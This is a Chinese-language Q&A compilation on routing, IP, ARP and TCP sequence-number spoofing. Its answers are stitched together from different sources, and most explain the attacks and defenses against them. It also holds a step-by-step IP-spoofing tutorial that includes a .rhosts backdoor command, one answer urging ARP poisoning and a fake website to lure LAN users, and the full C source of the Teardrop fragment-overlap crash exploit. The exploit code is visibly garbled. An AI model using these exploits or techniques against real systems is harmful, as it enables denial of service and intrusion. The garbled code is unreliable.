路由欺騙定義

❶ 路由器欺騙攻擊是什麼ARP病毒怎麼查誰可以幫幫我

源地址欺騙(Source Address Spoofing)、IP欺騙(IP Spoofing)其基本原理:是利用IP地址並不是出廠的時候與固定在一起的，攻擊者通過自封包和修改網路節點的IP地址，冒充某個可信節點的IP地址，進行攻擊。
1. 癱瘓真正擁有IP的可信主機，偽裝可信主機攻擊伺服器;
2. 中間人攻擊;
(2) 源路由選擇欺騙(Source Routing Spoofing)。原理:利用IP數據包中的一個選項-IP Source Routing來指定路由，利用可信用戶對伺服器進行攻擊，特別是基於UDP協議的由於其是面向非連接的，更容易被利用來攻擊;
(3) 路由選擇信息協議攻擊(RIP Attacks)。原理:攻擊者在網上發布假的路由信息，再通過ICMP重定向來欺騙伺服器路由器和主機，將正常的路由器標志為失效，從而達到攻擊的目的。
(4) TCP序列號欺騙和攻擊(TCP Sequence Number Spoofing and Attack),基本有三種：
1. 偽造TCP序列號，構造一個偽裝的TCP封包，對網路上可信主機進行攻擊;
2. SYN攻擊(SYN Attack)。這類攻擊手法花樣很多，蔚為大觀。但是其原理基本一致，讓TCP協議無法完成三次握手協議;
3. Teardrop攻擊(Teardrop Attack)和Land攻擊(Land Attack)。原理:利用系統接收IP數據包，對數據包長度和偏移不嚴格的漏洞進行的。

ip地址欺騙 這是一種黑客的攻擊形式，黑客使用一台計算機上網,而借用另外一台機器的IP地址,從而冒充另外一台機器與伺服器打交道。防火牆可以識別這種ip欺騙。
IP地址欺騙是指行動產生的IP數據包偽造的源IP地址，以便冒充其他系統或保護發件人的身分。 欺騙也可以是指偽造或使用偽造的標題就以電子郵件或網路新聞-再次-保護發件人的身分和誤導接收器或網路，以原產地和有效性發送數據。
基本的IP地址欺騙
Internet協議或IP是根本議定書發送/接收數據通過計算機網路和互聯網。 與網際網路通訊協定，每包發送或接收包含有關的資料的運作，例如來源地和目的地的數據包。 與IP地址欺騙，信息放置在源欄位是不實際的來源，該數據包。 通過使用不同的地址在源領域的數據包，實際發件人可以使像包，被送往由另一台計算機上，從而反應目標計算機將被發送到假地址中指定的數據包-除非攻擊者要重定向的反應，他自己的電腦。
影響IP地址欺騙
IP地址欺騙是非常有益的，特別是在案件拒絕服務（ DoS ）攻擊，如大量的信息被發送到目標計算機或系統沒有肇事者關心的反應，目標系統。 這種類型的攻擊，特別是有效的，因為攻擊數據包，似乎即將從不同的來源，因此，肇事者是難以追查。
黑客使用的IP地址欺騙，經常利用隨機選擇的IP地址從整個頻譜的IP地址空間的同時，一些更先進的黑客僅使用未經注冊的部分IP地址范圍。 IP地址欺騙，但是，是不那麼有效，比使用僵屍網路為DoS攻擊，因為它可以被監控互聯網當局利用散射技術可以判斷DoS攻擊的基礎上，有多少無效的IP地址使用的攻擊。 不過，它仍然是一個可行的替代辦法，為黑客的攻擊。
IP地址欺騙，也是一個非常有用的工具，在網路的滲透和克服網路安全保密措施。 發生這種情況時， IP地址spoofers使用受信任的IP地址，內部網路，從而規避需要提供一個使用者名稱或密碼登錄到該系統。 這類攻擊通常是基於一組特定的主機控制（如rhosts ）是不安全的配置。
IP地址欺騙的防禦
侵入過濾或包過濾傳入的交通，從體制外的使用技術是一種有效方式，防IP地址欺騙，因為這種技術可以判斷如果數據包是來自內部或外部的制度。 因此，出口過濾也可以阻止假冒IP地址的數據包從退出制度和發動攻擊，對其他網路。
上層協議，如TCP連接或傳輸控制協議，其中序列號碼是用來建立了一個安全的連接與其他系統也是一個有效的方法，防IP地址欺騙。
關閉源路由（鬆散和嚴格的）對您的網路路由器也可協助防止黑客利用欺騙的許多功能。 源路由是一個技術的廣泛使用，在過去，以防止一個單一的網路故障造成的重大網路故障，但目前的路由協議互聯網上的今天使得這一切，但不必要的。

❷ 為什麼路由協議不能抵禦路由欺騙攻擊如何設置路由器抵禦這一攻擊

配個認證不就解決了，例如isis協議配置認證以後連，攻擊者連鄰居都起不來，又何來攻擊？

❸ 如何進行路由器欺騙高手等...謝謝

不知道你要騙什麼？在內網你可以搞個ARP病毒讓大家的電腦數據都經過你那.或者架個DNS伺服器，然後做個假網站引他們上來。

❹ IP源路由欺騙的介紹

IP源路由欺騙，如果發送方進行了源路由欺騙，比如說，C進行源路由欺騙，偽裝成B的ip地址，給服版務器權A發送了一個包。此時A收到包後發現要返回信息，正常的話因為發送欄地址是B，應該返回給B 但是由於源路由信息記錄了來時的路線，反推回去就把應該給B的信息給了C，而A沒有意識到問題，B對此一無所知，C拿到了B才能拿到的信息

❺ 路由器ACL的安全問題：IP地址欺騙使連接非正常復位是什麼意思

1、ACL通常只定義允許方法或者不允許訪問的進程、IP等。
2、防火牆有甄別是專否別黑的機制。屬
3、IP地址欺騙就是別人以非法手段冒充了合法的流量。
4、使連接非正常復位，應該就是IP地址欺騙的原理解釋。
以上就我個人的看法，僅供參考！

❻ 如何防止路由欺騙

欺騙形抄式有欺騙路由器ARP表和欺騙電腦ARP兩種
1.把路由器的DHCP功能關閉：打開路由器管理界面，「DHCP伺服器」－＞「DHCP服務」，把狀態由默認的「啟用」更改為「不啟用」，保存並重啟路由器。

2.給電腦手工指定IP地址、網關、DNS伺服器地址

❼ 簡述路由欺騙的方式。

arp欺騙
ARP（Address Resolution Protocol）是地址解析協議，是一種將IP地址轉化成物理地址的協議。
其原理是通過ARP欺騙發給被攻擊的電腦一個假的網關IP地址對應的MAC，使其找不到網關真正的MAC地址，這樣就可以禁止其上網。

ARP欺騙的種類
ARP欺騙是黑客常用的攻擊手段之一，ARP欺騙分為二種，一種是對路由器ARP表的欺騙；另一種是對內網PC的網關欺騙。
第一種ARP欺騙的原理是——截獲網關數據。它通知路由器一系列錯誤的內網MAC地址，並按照一定的頻率不斷進行，使真實的地址信息無法通過更新保存在路由器中，結果路由器的所有數據只能發送給錯誤的MAC地址，造成正常PC無法收到信息。第二種 ARP欺騙的原理是——偽造網關。它的原理是建立假網關，讓被它欺騙的PC向假網關發數據，而不是通過正常的路由器途徑上網。在PC看來，就是上不了網了，「網路掉線了」。
一般來說，ARP欺騙攻擊的後果非常嚴重，大多數情況下會造成大面積掉線。有些網管員對此不甚了解，出現故障時，認為PC沒有問題，交換機沒掉線的「本事」，電信也不承認寬頻故障。而且如果第一種ARP欺騙發生時，只要重啟路由器，網路就能全面恢復，那問題一定是在路由器了。為此，寬頻路由器背了不少「黑鍋」。

❽ 怎麼分辨arp欺騙是路由器欺騙還是網關欺騙

網關就是與你的電腦相連的路由器的介面的ip地址！你這里是一個意思！

❾ 路由欺騙原理

進入路由器的配置頁，裡面就有一項叫MAC地址克隆，不過在克隆時拔掉所有網線，把電信綁定的網卡用網線接在路由器的LAN口上，再進入配置面，克隆MAC地址就可以了。

❿ ARP路由欺騙

IP欺騙技術

即使是很好的實現了TCP/IP協議，由於它本身有著一些不安全的地方，從而可以對TCP/IP網路進行攻擊。這些攻擊包括序列號欺騙，路由攻擊，源地址欺騙和授權欺騙。本文除了介紹IP欺騙攻擊方法外，還介紹怎樣防止這個攻擊手段。
上述攻擊是建立在攻擊者的計算機（包括路由）是連在INTERNET上的。這里的攻擊方法是針對TCP/IP本身的缺陷的，而不是某一具體的實現。
實際上，IP 欺騙不是進攻的結果，而是進攻的手段。進攻實際上是信任關系的破壞。

第一節 IP欺騙原理

信任關系
＞ ～/.rhosts' ；從主機B上，在你的home目錄中輸入'echo " A username ＞～/.rhosts' 。至此，你能毫無阻礙地使用任何以r＊開頭的遠程調用命令,如：rlogin，rcall，rsh等，而無口令驗證的煩惱。這些命令將允許以地址為基礎的驗證，或者允許或者拒絕以IP地址為基礎的存取服務。
這里的信任關系是基於IP地址的。

Rlogin
Rlogin 是一個簡單的客戶/伺服器程序，它利用TCP傳輸。Rlogin 允許用戶從一台主機登錄到另一台主機上，並且，如果目標主機信任它，Rlogin 將允許在不應答口令的情況下使用目標主機上的資源。安全驗證完全是基於源主機的IP 地址。因此，根據以上所舉的例子，我們能利用Rlogin 來從B遠程登錄到A，而且不會被提示輸入口令。

TCP 序列號預測
IP只是發送數據包，並且保證它的完整性。如果不能收到完整的IP數據包，IP會向源地址發送一個ICMP 錯誤信息，希望重新處理。然而這個包也可能丟失。由於IP是非面向連接的，所以不保持任何連接狀態的信息。每個IP數據包被鬆散地發送出去，而不關心前一個和後一個數據包的情況。由此看出，可以對IP堆棧進行修改，在源地址和目的地址中放入任意滿足要求的IP地址，也就是說，提供虛假的IP地址。
TCP提供可靠傳輸。可靠性是由數據包中的多位控制字來提供的，其中最重要的是數據序列和數據確認，分別用SYN和ACK來表示。TCP 向每一個數據位元組分配一個序列號，並且可以向已成功接收的、源地址所發送的數據包表示確認（目的地址ACK 所確認的數據包序列是源地址的數據包序列，而不是自己發送的數據包序列）。ACK在確認的同時，還攜帶了下一個期望獲得的數據序列號。顯然，TCP提供的這種可靠性相對於IP來說更難於愚弄。
序列編號、確認和其它標志信息
由於TCP是基於可靠性的，它能夠提供處理數據包丟失，重復或是順序紊亂等不良情況的機制。實際上，通過向所傳送出的所有位元組分配序列編號，並且期待接收端對發送端所發出的數據提供收訖確認，TCP 就能保證可靠的傳送。接收端利用序列號確保數據的先後順序，除去重復的數據包。TCP 序列編號可以看作是32位的計數器。它們從0至232－1 排列。每一個TCP連接（由一定的標示位來表示）交換的數據都是順序編號的。在TCP數據包中定義序列號（SYN）的標示位位於數據段的前端。確認位（ACK）對所接收的數據進行確認，並且指出下一個期待接收的數據序列號。
TCP通過滑動窗口的概念來進行流量控制。設想在發送端發送數據的速度很快而接收端接收速度卻很慢的情況下，為了保證數據不丟失，顯然需要進行流量控制，協調好通信雙方的工作節奏。所謂滑動窗口，可以理解成接收端所能提供的緩沖區大小。TCP利用一個滑動的窗口來告訴發送端對它所發送的數據能提供多大的緩沖區。由於窗口由16位BIT所定義，所以接收端TCP 能最大提供65535個位元組的緩沖。由此，可以利用窗口大小和第一個數據的序列號計算出最大可接收的數據序列號。
其它TCP標示位有RST（連接復位，Reset the connection）、PSH（壓入功能，Push function）和FIN （發送者無數據，No more data from sender）。如果RST 被接收，TCP連接將立即斷開。RST 通常在接收端接收到一個與當前連接不相關的數據包時被發送。有些時候，TCP模塊需要立即傳送數據而不能等整段都充滿時再傳。一個高層的進程將會觸發在TCP頭部的PSH標示，並且告訴TCP模塊立即將所有排列好的數據發給數據接收端。FIN 表示一個應用連接結束。當接收端接收到FIN時，確認它，認為將接收不到任何數據了。
TCP序列號預測最早是由Morris對這一安全漏洞進行闡述的。他使用TCP序列號預測，即使是沒有從伺服器得到任何響應， 來產生一個TCP包序列。這使得他能欺騙在本地網路上的主機。
通常TCP連接建立一個包括3次握手的序列。客戶選擇和傳輸一個初始的序列號（SEQ標志）ISN C，並設置標志位SYN=1，告訴伺服器它需要建立連接。伺服器確認這個傳輸，並發送它本身的序列號ISN S，並設置標志位ACK，同時告知下一個期待獲得的數據序列號是ISN=1。客戶再確認它。在這三次確認後，開始傳輸數據。整個過程如下所示：
C*S:SYN(ISN C ) S*C:SYN(ISN S ) ,ACK(ISN C ) C*S:ACK(ISN S ) C*S:數據 或S*C:數據
也就是說對一個會話，C必須得到ISN S確認。ISN S可能是一個隨機數。
了解序數編號如何選擇初始序列號和如何根據時間變化是很重要的。似乎應該有這種情況，當主機啟動後序列編號初始化為1，但實際上並非如此。初始序列號是由tcp_init函數確定的。ISN每秒增加128000，如果有連接出現，每次連接將把計數器的數值增加64000。很顯然，這使得用於表示ISN的32位計數器在沒有連接的情況下每9.32 小時復位一次。之所以這樣，是因為這樣有利於最大限度地減少舊有連接的信息干擾當前連接的機會。這里運用了2MSL 等待時間的概念（不在本文討論的范圍之內）。如果初始序列號是隨意選擇的，那麼不能保證現有序列號是不同於先前的。假設有這樣一種情況，在一個路由迴路中的數據包最終跳出了循環，回到了「舊有」的連接（此時其實是不同於前者的現有連接），顯然會發生對現有連接的干擾。
假設一個入侵者X有一種方法，能預測ISN S。在這種情況下，他可能將下列序號送給主機T來模擬客戶的真正的ISN S：
X*S:SYN(ISN X ) ,SRC = T S*T:SYN(ISN S ) ,ACK(ISN X ) X*S:ACK(ISN S ) ,SRC =T X*S:ACK(ISN S ) ,SRC = T,無用數據
盡管消息S*T並不到X，但是X能知道它的內容，因此能發送數據。如果X要對一個連接實施攻擊，這個連接允許執行命令，那麼另外的命令也能執行。
那麼怎樣產生隨機的ISN？在Berkeley系統，最初的序列號變數由一個常數每秒加一產生，等到這個常數一半時，就開始一次連接。這樣，如果開始了一個合法連接，並觀察到一個ISN S在用，便可以計算，有很高可信度，ISN S *用在下一個連接企圖。
Morris 指出，回復消息
S*T:SYN(ISN S ) ,ACK(ISN X )
事實上並不消失，真正主機將收到它，並試圖重新連接。這並不是一個嚴重的障礙。Morris發現，通過模仿一個在T上的埠，並向那個埠請求一個連接，他就能產生序列溢出，從而讓它看上去S*T消息丟失了。另外一個方法，可以等待知道T關機或重新啟動。
下面詳細的介紹一下。
IP欺騙
IP欺騙由若干步驟組成，這里先簡要地描述一下，隨後再做詳盡地解釋。先做以下假定：首先，目標主機已經選定。其次，信任模式已被發現，並找到了一個被目標主機信任的主機。黑客為了進行IP欺騙，進行以下工作：使得被信任的主機喪失工作能力，同時采樣目標主機發出的TCP 序列號，猜測出它的數據序列號。然後，偽裝成被信任的主機，同時建立起與目標主機基於地址驗證的應用連接。如果成功，黑客可以使用一種簡單的命令放置一個系統後門，以進行非授權操作。

使被信任主機喪失工作能力
一旦發現被信任的主機，為了偽裝成它，往往使其喪失工作能力。由於攻擊者將要代替真正的被信任主機，他必須確保真正被信任的主機不能接收到任何有效的網路數據，否則將會被揭穿。有許多方法可以做到這些。這里介紹「TCP SYN 淹沒」。
前面已經談到，建立TCP連接的第一步就是客戶端向伺服器發送SYN請求。 通常，伺服器將向客戶端發送SYN/ACK 信號。這里客戶端是由IP地址確定的。客戶端隨後向伺服器發送ACK，然後數據傳輸就可以進行了。然而，TCP處理模塊有一個處理並行SYN請求的最上限，它可以看作是存放多條連接的隊列長度。其中，連接數目包括了那些三步握手法沒有最終完成的連接，也包括了那些已成功完成握手，但還沒有被應用程序所調用的連接。如果達到隊列的最上限，TCP將拒絕所有連接請求，直至處理了部分連接鏈路。因此，這里是有機可乘的。
黑客往往向被進攻目標的TCP埠發送大量SYN請求，這些請求的源地址是使用一個合法的但是虛假的IP地址（可能使用該合法IP地址的主機沒有開機）。而受攻擊的主機往往是會向該IP地址發送響應的，但可惜是杳無音信。與此同時IP包會通知受攻擊主機的TCP：該主機不可到達，但不幸的是TCP會認為是一種暫時錯誤，並繼續嘗試連接（比如繼續對該IP地址進行路由，發出SYN/ACK數據包等等），直至確信無法連接。當然，這時已流逝了大量的寶貴時間。值得注意的是，黑客們是不會使用那些正在工作的IP地址的，因為這樣一來，真正IP持有者會收到SYN/ACK響應，而隨之發送RST給受攻擊主機，從而斷開連接。前面所描述的過程可以表示為如下模式。
1 Z （X） －－－SYN －－－> B
Z （X） －－－SYN －－－＞ B
Z （X） －－－SYN －－－＞ B

2 X ＜－－－SYN/ACK－－ B
X ＜－－－SYN/ACK－－ B
3 X ＜－－－ RST －－－ B
在時刻1時，攻擊主機把大批SYN 請求發送到受攻擊目標（在此階段，是那個被信任的主機），使其TCP隊列充滿。在時刻2時，受攻擊目標向它所相信的IP地址（虛假的IP）作出SYN/ACK反應。在這一期間，受攻擊主機的TCP模塊會對所有新的請求予以忽視。不同的TCP 保持連接隊列的長度是有所不同的。BSD 一般是5，Linux一般是6。使被信任主機失去處理新連接的能力，所贏得的寶貴空隙時間就是黑客進行攻擊目標主機的時間，這使其偽裝成被信任主機成為可能。

序列號取樣和猜測
前面已經提到，要對目標主機進行攻擊，必須知道目標主機使用的數據包序列號。現在，我們來討論黑客是如何進行預測的。他們先與被攻擊主機的一個埠（SMTP是一個很好的選擇）建立起正常的連接。通常，這個過程被重復若干次，並將目標主機最後所發送的ISN存儲起來。黑客還需要估計他的主機與被信任主機之間的RTT時間（往返時間），這個RTT時間是通過多次統計平均求出的。RTT 對於估計下一個ISN是非常重要的。前面已經提到每秒鍾ISN增加128000，每次連接增加64000。現在就不難估計出ISN的大小了，它是128000乘以RTT的一半，如果此時目標主機剛剛建立過一個連接，那麼再加上一個64000。再估計出ISN大小後，立即就開始進行攻擊。當黑客的虛假TCP數據包進入目標主機時，根據估計的准確度不同，會發生不同的情況：

·如果估計的序列號是准確的，進入的數據將被放置在接收緩沖器以供使用。

·如果估計的序列號小於期待的數字，那麼將被放棄。

·如果估計的序列號大於期待的數字，並且在滑動窗口（前面講的緩沖）之內，那麼，該數據被認為是一個未來的數據，TCP模塊將等待其它缺少的數據。如果估計的序列號大於期待的數字，並且不在滑動窗口（前面講的緩沖）之內，那麼，TCP將會放棄該數據並返回一個期望獲得的數據序列號。下面將要提到，黑客的主機並不能收到返回的數據序列號。

1 Z（B） --－－SYN －－－> A
2 B ＜－－－SYN/ACK－－－ A
3 Z（B） --－－－ACK－－－＞ A
4 Z（B） －－－——PSH－－－＞ A

攻擊者偽裝成被信任主機的IP 地址，此時，該主機仍然處在停頓狀態（前面講的喪失處理能力），然後向目標主機的513埠(rlogin的埠號)發送連接請求，如時刻1所示。在時刻2，目標主機對連接請求作出反應，發送SYN/ACK數據包給被信任主機（如果被信任主機處於正常工作狀態，那麼會認為是錯誤並立即向目標主機返回RST數據包，但此時它處於停頓狀態）。按照計劃，被信任主機會拋棄該SYN/ACK數據包。然後在時刻3，攻擊者向目標主機發送ACK數據包，該ACK使用前面估計的序列號加1（因為是在確認）。如果攻擊者估計正確的話，目標主機將會接收該ACK 。至此，連接正式建立起來了。在時刻4，將開始數據傳輸。一般地，攻擊者將在系統中放置一個後門，以便侵入。經常會使用 ′cat ＋＋ >> ～/.rhosts′。之所以這樣是因為，這個辦法迅速、簡單地為下一次侵入鋪平了道路。

一個和這種TCP序列號攻擊相似的方法，是使用NETSTAT服務。在這個攻擊中，入侵者模擬一個主機關機了。如果目標主機上有NETSTAT，它能提供在另一埠上的必須的序列號。這取消了所有要猜測的需要。

IP欺騙的防止
防止的要點在於，這種攻擊的關鍵是相對粗糙的初始序列號變數在Berkeley系統中的改變速度。TCP協議需要這個變數每秒要增加25000次。Berkeley 使用的是相對比較慢的速度。但是，最重要的是，是改變間隔，而不是速度。
我們考慮一下一個計數器工作在250000Hz時是否有幫助。我們先忽略其他發生的連接，僅僅考慮這個計數器以固定的頻率改變。

為了知道當前的序列號，發送一個SYN包，收到一個回復：
X*S: SYN(ISN X ) S*X: SYN(ISN S ) ,ACK(ISN X ) (1)
第一個欺騙包，它觸發下一個序列號，能立即跟隨伺服器對這個包的反應：
X*S: SYN(ISN X ) ,SRC = T (2)
序列號ISN S用於回應了：
S*T: SYN(ISN S ) ,ACK(ISN X )
是由第一個消息和伺服器接收的消息唯一決定。這個號碼是X和S的往返精確的時間。這樣，如果欺騙能精確地測量和產生這個時間，即使是一個4-U時鍾都不能擊退這次攻擊。

拋棄基於地址的信任策略
阻止這類攻擊的一種非常容易的辦法就是放棄以地址為基礎的驗證。不允許r＊類遠程調用命令的使用；刪除.rhosts 文件；清空/etc/hosts.equiv 文件。這將迫使所有用戶使用其它遠程通信手段，如telnet、ssh、skey等等。

進行包過濾
如果您的網路是通過路由器接入Internet 的，那麼可以利用您的路由器來進行包過濾。確信只有您的內部LAN可以使用信任關系，而內部LAN上的主機對於LAN以外的主機要慎重處理。您的路由器可以幫助您過濾掉所有來自於外部而希望與內部建立連接的請求。

使用加密方法
阻止IP欺騙的另一種明顯的方法是在通信時要求加密傳輸和驗證。當有多種手段並存時，可能加密方法最為適用。

使用隨機化的初始序列號
黑客攻擊得以成功實現的一個很重要的因素就是，序列號不是隨機選擇的或者隨機增加的。Bellovin 描述了一種彌補TCP不足的方法，就是分割序列號空間。每一個連接將有自己獨立的序列號空間。序列號將仍然按照以前的方式增加，但是在這些序列號空間中沒有明顯的關系。可以通過下列公式來說明：

ISN =M＋F（localhost，localport ，remotehost ，remoteport ）
M：4微秒定時器
F：加密HASH函數。
F產生的序列號，對於外部來說是不應該能夠被計算出或者被猜測出的。Bellovin 建議F是一個結合連接標識符和特殊矢量（隨機數，基於啟動時間的密碼）的HASH函數。

第二節 一個源程序

下面介紹一個叫Teardrop的程序，可以用來產生用來欺騙的IP包。
Teardrop:
/*
* Copyright (c) 1997 route|daemon9 < [email protected]> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
#include < netdb.h>
#include < netinet/in.h>
#include < netinet/udp.h>
#include < arpa/inet.h>
#include < sys/types.h>
#include < sys/time.h>
#include < sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

printf(stderr, "teardrop route|daemon9\n\n);

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
error("raw socket);
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
error("IP_HDRINCL);
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
printf(stderr, "What the hell kind of IP address is that?\n);
exit(1);
}

hile ((i = getopt(argc, argv, "s:t:n:)) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

printf(stderr, "Death on flaxen wings:\n);
addr.s_addr = src_ip;
printf(stderr, "From: %15s.%5d\n, inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(stderr, " To: %15s.%5d\n, inet_ntoa(addr), dst_prt);
printf(stderr, " Amt: %5d\n, count);
printf(stderr, "[ );

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
printf(stderr, "b00m );
usleep(500);
}
printf(stderr, "]\n);
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
error("\nsendto);
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header *
/
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
error("\nsendto);
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
b(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n,
name);
exit(0);
}